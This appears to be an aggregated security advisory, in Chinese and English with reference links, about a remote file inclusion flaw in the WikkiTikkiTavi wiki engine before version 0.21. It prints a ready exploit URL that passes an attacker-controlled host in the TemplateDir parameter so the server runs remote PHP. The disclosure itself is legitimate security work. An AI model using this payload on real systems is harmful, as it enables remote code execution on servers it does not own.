https://www.exploit-db.com/exploits/21241
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-554

WikkiTikkiTavi0.21之前版本存在PHP远程文件包含漏洞。远程攻击者可以借助TemplateDir变量执行任意PHP代码，正如使用conflict.php。

source: http://www.securityfocus.com/bid/3946/info

WikkiTikkiTavi is a freely available engine for running a Wiki site. Wiki sites are web communities which are based on the idea that every webpage is editable by users of the website. WikkiTikkiTavi is back-ended by a MySQL database and runs on most Linux and Unix variants, as well as Microsoft Windows NT/2000 operating systems.

WikkiTikkiTavi permits remote file including. As a result, a remote attacker may include an arbitrary file located on a remote host. This may be exploited via a malicious web request. If this file is a PHP script, it will be executed on the host running the vulnerable software with the privileges of the webserver.

The attacker may use this as an opportunity to gain local access on the host running the vulnerable software.

The following URL is sufficient to exploit this issue:

http://some.host/wikihome/action/conflict.php?TemplateDir=http://my.host/

where conflict.php is the name of the malicious attacker-supplied script.

来源:XF
名称:wikkitikkitavi-include-template(8001)
链接:http://xforce.iss.net/static/8001.php
来源:BID
名称:3946
链接:http://www.securityfocus.com/bid/3946
来源:SECTRACK
名称:1003307
链接:http://securitytracker.com/id?1003307
来源:MLIST
名称:[tavi-devel]20020102″Tavisecurityadvisory
链接:http://sourceforge.net/mailarchive/message.php?msg_id=185752